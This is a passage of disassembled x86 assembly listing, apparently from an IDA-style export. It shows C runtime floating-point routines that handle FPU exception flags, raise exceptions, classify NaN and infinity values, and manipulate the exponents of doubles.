		push	ecx		; double
		fstp	[esp+64h+var_64]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+6Ch+var_6C]
		fld	[ebp+arg_8]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+74h+var_74]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_4198D1
		add	esp, 24h
		leave
		retn
; ---------------------------------------------------------------------------


loc_419346:				; CODE XREF: sub_4192CA+4Ej
					; sub_4192CA+52j
		push	eax
		call	sub_419959
		mov	[esp+5Ch+var_5C], 0FFFFh
		push	[ebp+arg_18]
		call	sub_419BA8
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx
		leave
		retn
sub_4192CA	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	dword ptr [ebp+28h]
		lea	eax, [ebp+20h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_4196BA
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4193AC
		mov	eax, [ebp-20h]
		and	al, 0E3h
		or	al, 3
		mov	[ebp-20h], eax
		lea	eax, [ebp+20h]
		push	eax
		lea	eax, [ebp+10h]
		push	eax
		lea	eax, [ebp+28h]
		push	dword ptr [ebp+0Ch]
		fld	qword ptr [ebp+18h]
		push	dword ptr [ebp+8]
		fstp	qword ptr [ebp-30h]
		push	eax
		lea	eax, [ebp-58h]
		push	eax
		call	sub_419407
		add	esp, 18h


loc_4193AC:				; CODE XREF: .text:0041937Cj
		push	dword ptr [ebp+8]
		call	sub_4199A4
		cmp	dword_4361C8, 0
		pop	ecx
		jnz	short loc_4193EB
		test	eax, eax
		jz	short loc_4193EB
		push	dword ptr [ebp+28h]
		fld	qword ptr [ebp+20h]
		push	ecx
		push	ecx
		fstp	qword ptr [esp]
		fld	qword ptr [ebp+18h]
		push	ecx
		push	ecx
		fstp	qword ptr [esp]
		fld	qword ptr [ebp+10h]
		push	ecx
		push	ecx
		fstp	qword ptr [esp]
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_4198D1
		add	esp, 24h
		leave
		retn
; ---------------------------------------------------------------------------


loc_4193EB:				; CODE XREF: .text:004193BCj
					; .text:004193C0j
		push	eax
		call	sub_419959
		mov	dword ptr [esp], 0FFFFh
		push	dword ptr [ebp+28h]
		call	sub_419BA8
		fld	qword ptr [ebp+20h]
		pop	ecx
		pop	ecx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419407	proc near		; CODE XREF: sub_4192CA+36p
					; .text:004193A4p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		push	ebx
		push	esi
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	edi
		push	1
		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		pop	ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		test	cl, 10h
		jz	short loc_419439
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Fh
		or	[eax+4], ebx


loc_419439:				; CODE XREF: sub_419407+23j
		test	cl, 2
		jz	short loc_41944C
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000093h
		or	dword ptr [eax+4], 2


loc_41944C:				; CODE XREF: sub_419407+35j
		test	cl, bl
		jz	short loc_41945E
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000091h
		or	dword ptr [eax+4], 4


loc_41945E:				; CODE XREF: sub_419407+47j
		test	cl, 4
		jz	short loc_419471
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Eh
		or	dword ptr [eax+4], 8


loc_419471:				; CODE XREF: sub_419407+5Aj
		test	cl, 8
		jz	short loc_419484
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000090h
		or	dword ptr [eax+4], 10h


loc_419484:				; CODE XREF: sub_419407+6Dj
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	2
		mov	ecx, [esi]
		mov	edx, [eax+8]
		not	ecx
		and	ecx, ebx
		and	edx, 0FFFFFFEFh
		shl	ecx, 4
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		and	ecx, 4
		shl	ecx, 1
		and	edx, 0FFFFFFF7h
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 1
		and	ecx, 4
		and	edx, 0FFFFFFFBh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 3
		and	ecx, edi
		and	edx, 0FFFFFFFDh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 5
		and	ecx, ebx
		and	edx, 0FFFFFFFEh
		or	ecx, edx
		mov	[eax+8], ecx
		call	sub_419B8B
		test	al, bl
		jz	short loc_41950D
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h


loc_41950D:				; CODE XREF: sub_419407+FDj
		test	al, 4
		jz	short loc_419518
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8


loc_419518:				; CODE XREF: sub_419407+108j
		test	al, 8
		jz	short loc_419523
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4


loc_419523:				; CODE XREF: sub_419407+113j
		test	al, 10h
		jz	short loc_41952D
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi


loc_41952D:				; CODE XREF: sub_419407+11Ej
		test	al, 20h
		jz	short loc_419537
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx


loc_419537:				; CODE XREF: sub_419407+128j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_419576
		cmp	eax, 400h
		jz	short loc_419568
		cmp	eax, 800h
		jz	short loc_41955C
		cmp	eax, ecx
		jnz	short loc_41957C
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_41957C
; ---------------------------------------------------------------------------


loc_41955C:				; CODE XREF: sub_419407+147j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_419572
; ---------------------------------------------------------------------------


loc_419568:				; CODE XREF: sub_419407+140j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx


loc_419572:				; CODE XREF: sub_419407+15Fj
		mov	[eax], ecx
		jmp	short loc_41957C
; ---------------------------------------------------------------------------


loc_419576:				; CODE XREF: sub_419407+139j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh


loc_41957C:				; CODE XREF: sub_419407+14Bj
					; sub_419407+153j ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_4195A7
		cmp	eax, 200h
		jz	short loc_41959A
		cmp	eax, ecx
		jnz	short loc_4195B4
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_4195B4
; ---------------------------------------------------------------------------


loc_41959A:				; CODE XREF: sub_419407+185j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_4195B2
; ---------------------------------------------------------------------------


loc_4195A7:				; CODE XREF: sub_419407+17Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8


loc_4195B2:				; CODE XREF: sub_419407+19Ej
		mov	[eax], ecx


loc_4195B4:				; CODE XREF: sub_419407+189j
					; sub_419407+191j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		and	ecx, 0FFFh
		mov	edx, [eax]
		shl	ecx, 5
		and	edx, 0FFFE001Fh
		or	ecx, edx
		mov	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+50h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+50h], ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [edi]
		fstp	qword ptr [eax+40h]
		call	sub_419B99
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		call	ds:dword_49544C	; RaiseException
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_41962E
		and	dword ptr [esi], 0FFFFFFFEh


loc_41962E:				; CODE XREF: sub_419407+222j
		test	byte ptr [eax+8], 8
		jz	short loc_419637
		and	dword ptr [esi], 0FFFFFFFBh


loc_419637:				; CODE XREF: sub_419407+22Bj
		test	byte ptr [eax+8], 4
		jz	short loc_419640
		and	dword ptr [esi], 0FFFFFFF7h


loc_419640:				; CODE XREF: sub_419407+234j
		test	byte ptr [eax+8], 2
		jz	short loc_419649
		and	dword ptr [esi], 0FFFFFFEFh


loc_419649:				; CODE XREF: sub_419407+23Dj
		test	[eax+8], bl
		jz	short loc_419651
		and	dword ptr [esi], 0FFFFFFDFh


loc_419651:				; CODE XREF: sub_419407+245j
		mov	ecx, [eax]
		mov	edx, 0FFFFF3FFh
		and	ecx, 3
		sub	ecx, 0
		jz	short loc_419685
		dec	ecx
		jz	short loc_419679
		dec	ecx
		jz	short loc_41966F
		dec	ecx
		jnz	short loc_419687
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_419687
; ---------------------------------------------------------------------------


loc_41966F:				; CODE XREF: sub_419407+25Dj
		mov	ecx, [esi]
		and	ch, 0FBh
		or	ch, 8
		jmp	short loc_419681
; ---------------------------------------------------------------------------


loc_419679:				; CODE XREF: sub_419407+25Aj
		mov	ecx, [esi]
		and	ch, 0F7h
		or	ch, 4


loc_419681:				; CODE XREF: sub_419407+270j
		mov	[esi], ecx
		jmp	short loc_419687
; ---------------------------------------------------------------------------


loc_419685:				; CODE XREF: sub_419407+257j
		and	[esi], edx


loc_419687:				; CODE XREF: sub_419407+260j
					; sub_419407+266j ...
		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_4196A7
		dec	ecx
		jz	short loc_41969E
		dec	ecx
		jnz	short loc_4196B0
		and	[esi], edx
		jmp	short loc_4196B0
; ---------------------------------------------------------------------------


loc_41969E:				; CODE XREF: sub_419407+28Ej
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 2
		jmp	short loc_4196AE
; ---------------------------------------------------------------------------


loc_4196A7:				; CODE XREF: sub_419407+28Bj
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 3


loc_4196AE:				; CODE XREF: sub_419407+29Ej
		mov	[esi], ecx


loc_4196B0:				; CODE XREF: sub_419407+291j
					; sub_419407+295j
		fld	qword ptr [eax+40h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_419407	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4196BA	proc near		; CODE XREF: sub_4192CA+10p
					; .text:00419372p

var_24		= qword	ptr -24h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, eax
		and	edi, 1Fh
		push	1
		test	al, 8
		pop	ebx
		jz	short loc_4196E5
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_4196E5
		push	ebx
		call	sub_419BCB
		pop	ecx
		and	edi, 0FFFFFFF7h
		jmp	loc_4198AF
; ---------------------------------------------------------------------------


loc_4196E5:				; CODE XREF: sub_4196BA+15j
					; sub_4196BA+1Aj
		test	al, 4
		jz	short loc_4196FF
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_4196FF
		push	4
		call	sub_419BCB
		pop	ecx
		and	edi, 0FFFFFFFBh
		jmp	loc_4198AF
; ---------------------------------------------------------------------------


loc_4196FF:				; CODE XREF: sub_4196BA+2Dj
					; sub_4196BA+33j
		test	al, bl
		jz	loc_4197D9
		test	byte ptr [ebp+arg_8], 8
		jz	loc_4197D9
		push	8
		call	sub_419BCB
		pop	ecx
		mov	eax, 0C00h
		mov	ecx, [ebp+arg_8]
		and	ecx, eax
		jz	loc_4197B1
		cmp	ecx, 400h
		jz	short loc_419789
		cmp	ecx, 800h
		jz	short loc_419761
		cmp	ecx, eax
		jnz	loc_4197D1
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	ds:dbl_4276F0
		fld	dbl_435BB8
		fnstsw	ax
		sahf
		ja	short loc_419759
		fchs


loc_419759:				; CODE XREF: sub_4196BA+9Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_4197CF
; ---------------------------------------------------------------------------


loc_419761:				; CODE XREF: sub_4196BA+7Dj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	ds:dbl_4276F0
		fnstsw	ax
		sahf
		jbe	short loc_419779
		fld	dbl_435BA8
		jmp	short loc_419781
; ---------------------------------------------------------------------------


loc_419779:				; CODE XREF: sub_4196BA+B5j
		fld	dbl_435BB8
		fchs


loc_419781:				; CODE XREF: sub_4196BA+BDj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_4197CF
; ---------------------------------------------------------------------------


loc_419789:				; CODE XREF: sub_4196BA+75j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	ds:dbl_4276F0
		fnstsw	ax
		sahf
		jbe	short loc_4197A1
		fld	dbl_435BB8
		jmp	short loc_4197A9
; ---------------------------------------------------------------------------


loc_4197A1:				; CODE XREF: sub_4196BA+DDj
		fld	dbl_435BA8
		fchs


loc_4197A9:				; CODE XREF: sub_4196BA+E5j
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_4197CF
; ---------------------------------------------------------------------------


loc_4197B1:				; CODE XREF: sub_4196BA+69j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	ds:dbl_4276F0
		fld	dbl_435BA8
		fnstsw	ax
		sahf
		ja	short loc_4197C9
		fchs


loc_4197C9:				; CODE XREF: sub_4196BA+10Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]


loc_4197CF:				; CODE XREF: sub_4196BA+A5j
					; sub_4196BA+CDj ...
		fstp	qword ptr [ecx]


loc_4197D1:				; CODE XREF: sub_4196BA+81j
		and	edi, 0FFFFFFFEh
		jmp	loc_4198AF
; ---------------------------------------------------------------------------


loc_4197D9:				; CODE XREF: sub_4196BA+47j
					; sub_4196BA+51j
		test	al, 2
		jz	loc_4198AF
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_4198AF
		push	esi
		xor	esi, esi
		test	al, 10h
		jz	short loc_4197F4
		mov	esi, ebx


loc_4197F4:				; CODE XREF: sub_4196BA+136j
		mov	eax, [ebp+arg_4]
		fld	qword ptr [eax]
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		fcomp	ds:dbl_4276F0
		fnstsw	ax
		sahf
		jz	loc_41989D
		fld	[ebp+var_C]
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_419ACA
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		fstp	[ebp+var_C]
		lea	ecx, [eax-600h]
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_41983F
		fldz
		mov	esi, ebx
		fstp	[ebp+var_C]
		jmp	short loc_419893
; ---------------------------------------------------------------------------


loc_41983F:				; CODE XREF: sub_4196BA+17Aj
		fld	[ebp+var_C]
		fcomp	ds:dbl_4276F0
		fnstsw	ax
		sahf
		jnb	short loc_419851
		mov	edx, ebx
		jmp	short loc_419853
; ---------------------------------------------------------------------------


loc_419851:				; CODE XREF: sub_4196BA+191j
		xor	edx, edx


loc_419853:				; CODE XREF: sub_4196BA+195j
		mov	al, byte ptr [ebp+var_C+6]
		and	eax, 0Fh
		or	al, 10h
		mov	word ptr [ebp+var_C+6],	ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_419887
		sub	eax, ecx


loc_41986A:				; CODE XREF: sub_4196BA+1CBj
		test	byte ptr [ebp+var_C], bl
		jz	short loc_419875
		test	esi, esi
		jnz	short loc_419875
		mov	esi, ebx


loc_419875:				; CODE XREF: sub_4196BA+1B3j
					; sub_4196BA+1B7j
		shr	dword ptr [ebp+var_C], 1
		test	byte ptr [ebp+var_C+4],	bl
		jz	short loc_419881
		or	byte ptr [ebp+var_C+3],	80h


loc_419881:				; CODE XREF: sub_4196BA+1C1j
		shr	dword ptr [ebp+var_C+4], 1
		dec	eax
		jnz	short loc_41986A


loc_419887:				; CODE XREF: sub_4196BA+1ACj
		test	edx, edx
		jz	short loc_419893
		fld	[ebp+var_C]
		fchs
		fstp	[ebp+var_C]


loc_419893:				; CODE XREF: sub_4196BA+183j
					; sub_4196BA+1CFj
		fld	[ebp+var_C]
		mov	eax, [ebp+arg_4]
		fstp	qword ptr [eax]
		jmp	short loc_41989F
; ---------------------------------------------------------------------------


loc_41989D:				; CODE XREF: sub_4196BA+14Ej
		mov	esi, ebx


loc_41989F:				; CODE XREF: sub_4196BA+1E1j
		test	esi, esi
		pop	esi
		jz	short loc_4198AC
		push	10h
		call	sub_419BCB
		pop	ecx


loc_4198AC:				; CODE XREF: sub_4196BA+1E8j
		and	edi, 0FFFFFFFDh


loc_4198AF:				; CODE XREF: sub_4196BA+26j
					; sub_4196BA+40j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_4198C6
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_4198C6
		push	20h
		call	sub_419BCB
		pop	ecx
		and	edi, 0FFFFFFEFh


loc_4198C6:				; CODE XREF: sub_4196BA+1F9j
					; sub_4196BA+1FFj
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	ebx
		setz	al
		leave
		retn
sub_4196BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4198D1(int,int,int,int,int,int,double,int)

sub_4198D1	proc near		; CODE XREF: sub_419218+2Bp
					; .text:004192A2p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_4]
		call	sub_41997F
		test	eax, eax
		pop	ecx
		mov	[ebp+var_1C], eax
		jz	short loc_41993C
		mov	eax, [ebp+arg_8]
		push	esi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_419BA8
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41DB4D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_419936
		push	esi
		call	sub_419959
		pop	ecx


loc_419936:				; CODE XREF: sub_4198D1+5Cj
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_41993C:				; CODE XREF: sub_4198D1+14j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_419BA8
		push	[ebp+arg_0]
		call	sub_419959
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_4198D1	endp


; =============== S U B	R O U T	I N E =======================================



sub_419959	proc near		; CODE XREF: sub_4192CA+7Dp
					; .text:004193ECp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_419974
		jle	short locret_41997E
		cmp	eax, 3
		jg	short locret_41997E
		mov	dword_4927F4, 22h
		retn
; ---------------------------------------------------------------------------


loc_419974:				; CODE XREF: sub_419959+7j
		mov	dword_4927F4, 21h

locret_41997E:				; CODE XREF: sub_419959+9j
					; sub_419959+Ej
		retn
sub_419959	endp


; =============== S U B	R O U T	I N E =======================================



sub_41997F	proc near		; CODE XREF: sub_4198D1+9p

arg_0		= dword	ptr  4

		xor	ecx, ecx
		mov	eax, offset dword_435AD0


loc_419986:				; CODE XREF: sub_41997F+18j
		mov	edx, [eax]
		cmp	edx, [esp+arg_0]
		jz	short loc_41999C
		add	eax, 8
		inc	ecx
		cmp	eax, offset dbl_435BA8
		jl	short loc_419986
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41999C:				; CODE XREF: sub_41997F+Dj
		mov	eax, off_435AD4[ecx*8]
		retn
sub_41997F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4199A4	proc near		; CODE XREF: sub_4192CA+41p
					; .text:004193AFp

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_4199B0
		push	5
		jmp	short loc_4199C6
; ---------------------------------------------------------------------------


loc_4199B0:				; CODE XREF: sub_4199A4+6j
		test	al, 8
		jz	short loc_4199B8
		push	1
		jmp	short loc_4199C6
; ---------------------------------------------------------------------------


loc_4199B8:				; CODE XREF: sub_4199A4+Ej
		test	al, 4
		jz	short loc_4199C0
		push	2
		jmp	short loc_4199C6
; ---------------------------------------------------------------------------


loc_4199C0:				; CODE XREF: sub_4199A4+16j
		test	al, 1
		jz	short loc_4199C8
		push	3


loc_4199C6:				; CODE XREF: sub_4199A4+Aj
					; sub_4199A4+12j ...
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4199C8:				; CODE XREF: sub_4199A4+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_4199A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4199D1(double)

sub_4199D1	proc near		; CODE XREF: sub_415D9B:loc_415E21p
					; sub_415EF3:loc_415F79p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		leave
		retn
sub_4199D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4199E3(double,int)

sub_4199E3	proc near		; CODE XREF: .text:00419A43p
					; sub_419ACA+82p ...

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+0Eh]
		fld	[ebp+arg_0]
		add	eax, 3FEh
		and	cx, 800Fh
		fstp	[ebp+var_8]
		shl	eax, 4
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_4199E3	endp

; ---------------------------------------------------------------------------
		mov	eax, [esp+0Ah]
		shr	eax, 4
		and	ax, 7FFh
		sub	eax, 3FEh
		movsx	eax, ax
		retn
; ---------------------------------------------------------------------------
		mov	eax, [esp+0Ah]
		mov	ecx, [esp+0Ch]
		shr	eax, 4
		and	ax, 7FFh
		movsx	eax, ax
		fld	qword ptr [esp+4]
		lea	eax, [eax+ecx-3FEh]
		push	eax
		push	ecx
		push	ecx
		fstp	qword ptr [esp]
		call	sub_4199E3
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+10h]
		mov	ecx, [ebp+0Eh]
		fld	qword ptr [ebp+8]
		shl	eax, 4
		fstp	qword ptr [ebp-8]
		and	cx, 800Fh
		or	eax, ecx
		mov	[ebp-2], ax
		fld	qword ptr [ebp-8]
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419A70	proc near		; CODE XREF: sub_415D9B+31p
					; sub_415EF3+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_419A87
		cmp	[ebp+arg_0], edx
		jnz	short loc_419A99
		push	1
		jmp	short loc_419AC3
; ---------------------------------------------------------------------------


loc_419A87:				; CODE XREF: sub_419A70+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_419A99
		cmp	[ebp+arg_0], edx
		jnz	short loc_419A99
		push	2
		jmp	short loc_419AC3
; ---------------------------------------------------------------------------


loc_419A99:				; CODE XREF: sub_419A70+11j
					; sub_419A70+1Ej ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_419AAC
		push	3
		jmp	short loc_419AC3
; ---------------------------------------------------------------------------


loc_419AAC:				; CODE XREF: sub_419A70+36j
		cmp	cx, 7FF0h
		jnz	short loc_419AC6
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_419AC1
		cmp	[ebp+arg_0], edx
		jz	short loc_419AC6


loc_419AC1:				; CODE XREF: sub_419A70+4Aj
		push	4


loc_419AC3:				; CODE XREF: sub_419A70+15j
					; sub_419A70+27j ...
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_419AC6:				; CODE XREF: sub_419A70+41j
					; sub_419A70+4Fj
		xor	eax, eax
		pop	ebp
		retn
sub_419A70	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_419ACA(double,int)

sub_419ACA	proc near		; CODE XREF: sub_4196BA+160p

var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		fcomp	ds:dbl_4276F0
		push	esi
		fnstsw	ax
		sahf
		jnz	short loc_419AEA
		fldz
		xor	esi, esi
		fstp	[ebp+var_8]
		jmp	loc_419B80
; ---------------------------------------------------------------------------


loc_419AEA:				; CODE XREF: sub_419ACA+12j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_419B59
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_419B02
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_419B59


loc_419B02:				; CODE XREF: sub_419ACA+31j
		fld	[ebp+arg_0]
		fcomp	ds:dbl_4276F0
		mov	esi, 0FFFFFC03h
		fnstsw	ax
		sahf
		jnb	short loc_419B1A
		push	1
		pop	eax
		jmp	short loc_419B1C
; ---------------------------------------------------------------------------


loc_419B1A:				; CODE XREF: sub_419ACA+49j
		xor	eax, eax


loc_419B1C:				; CODE XREF: sub_419ACA+4Ej
					; sub_419ACA+69j
		test	byte ptr [ebp+arg_0+6],	10h
		jnz	short loc_419B35
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_419B2F
		or	dword ptr [ebp+arg_0+4], 1


loc_419B2F:				; CODE XREF: sub_419ACA+5Fj
		shl	dword ptr [ebp+arg_0], 1
		dec	esi
		jmp	short loc_419B1C
; ---------------------------------------------------------------------------


loc_419B35:				; CODE XREF: sub_419ACA+56j
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_419B43
		or	byte ptr [ebp+arg_0+7],	80h


loc_419B43:				; CODE XREF: sub_419ACA+73j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_4199E3
		fstp	[ebp+var_8]
		add	esp, 0Ch
		jmp	short loc_419B80
; ---------------------------------------------------------------------------


loc_419B59:				; CODE XREF: sub_419ACA+28j
					; sub_419ACA+36j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_4199E3
		mov	eax, dword ptr [ebp+arg_0+6]
		add	esp, 0Ch
		fstp	[ebp+var_8]
		shr	eax, 4
		and	ax, 7FFh
		movsx	esi, ax
		sub	esi, 3FEh


loc_419B80:				; CODE XREF: sub_419ACA+1Bj
					; sub_419ACA+8Dj
